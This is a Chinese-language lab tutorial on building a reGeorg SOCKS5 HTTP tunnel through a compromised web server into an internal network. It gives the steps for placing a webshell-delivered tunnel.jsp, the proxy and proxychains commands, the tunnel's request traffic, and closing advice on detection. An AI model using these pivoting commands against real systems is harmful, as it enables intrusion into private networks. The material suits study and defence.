reGeorg搭建HTTP隧道和流量分析
字数 1382 2025-08-15 21:32:58
reGeorg搭建HTTP隧道与流量分析教学文档
一、reGeorg概述
1.1 背景与发展
- reGeorg是reDuh的继承者,由SensePost开发
- 最初在BlackHat USA 2008上作为reDuh发布
- 利用会话层的socks5协议,比reDuh效率更高
1.2 主要用途
- 在只能访问外网服务器的情况下,通过HTTP隧道与内网主机交互
- 适用于目标内网主机ICMP、DNS、TCP和UDP协议均不能出网的情况
- 唯一的数据通道是通过webshell建立的正向代理
二、环境准备
2.1 所需设备
- 受害服务器A(公网可访问):IP 182.x.x.x
- 内网主机(部署在Docker中):运行Tomcat,开放8080端口
- 攻击者VPS:IP 81.x.x.x
2.2 工具下载
git clone https://github.com/sensepost/reGeorg.git
三、隧道搭建步骤
3.1 服务器端配置
- 在已获取webshell的受害者服务器上:
- 将tunnel.jsp上传到HTTP服务器的web根目录
- 验证是否可访问:
curl http://182.x.x.x:8080/tunnel.jsp - 预期返回:
Georg says, 'All seems fine'
3.2 攻击者配置
-
运行reGeorg脚本:
python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x:8080/tunnel.jsp-l:监听地址-p:监听端口-u:tunnel.jsp的URL
-
配置proxychains:
- 编辑
/etc/proxychains.conf - 添加:
socks5 81.x.x.x 3333
- 编辑
3.3 测试隧道
proxychains curl http://172.17.0.2/login.php
四、流量分析
4.1 Kali端流量
- 抓包命令:
tcpdump -i eth0 -w kali.pcap - 典型流量特征:
GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */*
4.2 服务器A流量分析
连接阶段
POST http://182.x.x.x:8080/tunnel.jsp?cmd=connect&target=172.17.0.2&port=80 HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: CONNECT
X-PORT: 80
X-TARGET: 172.17.0.2
读取阶段
POST /tunnel.jsp?cmd=read HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: READ
- 响应中包含:
Transfer-Encoding: chunked(分块传输)
转发阶段
POST /tunnel.jsp?cmd=forward HTTP/1.1
Host: 182.92.73.106:8080
X-CMD: FORWARD
- 包含实际的内网请求内容
断开连接
POST /tunnel.jsp?cmd=disconnect HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: DISCONNECT
4.3 内网服务器流量
GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
五、关键点总结
- 协议选择:使用SOCKS5协议在会话层建立隧道
- 隐蔽性:所有通信都通过HTTP协议进行,可绕过部分防火墙
- 工作流程:
- CONNECT → READ → FORWARD → DISCONNECT
- 编码特征:
- 请求头中包含
Accept-Encoding: identity - 响应中可能包含
Transfer-Encoding: chunked
- 请求头中包含
- 会话保持:通过JSESSIONID维持会话状态
六、防御建议
- 监控异常HTTP请求:
- 频繁的POST请求到特定jsp/aspx/php文件
- 请求中包含cmd=connect/read/forward/disconnect参数
- 限制上传文件类型
- 定期检查web目录下的可疑文件
- 监控异常的出站连接
七、附录
7.1 常用命令总结
| 命令 | 用途 |
|---|---|
curl http://x.x.x.x:port/tunnel.jsp |
验证tunnel是否可用 |
python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x/tunnel.jsp |
启动代理 |
proxychains curl http://内网IP/资源 |
通过代理访问内网 |
7.2 关键HTTP头说明
X-CMD:指定操作类型(CONNECT/READ/FORWARD/DISCONNECT)X-TARGET:目标内网IPX-PORT:目标端口X-STATUS:服务器响应状态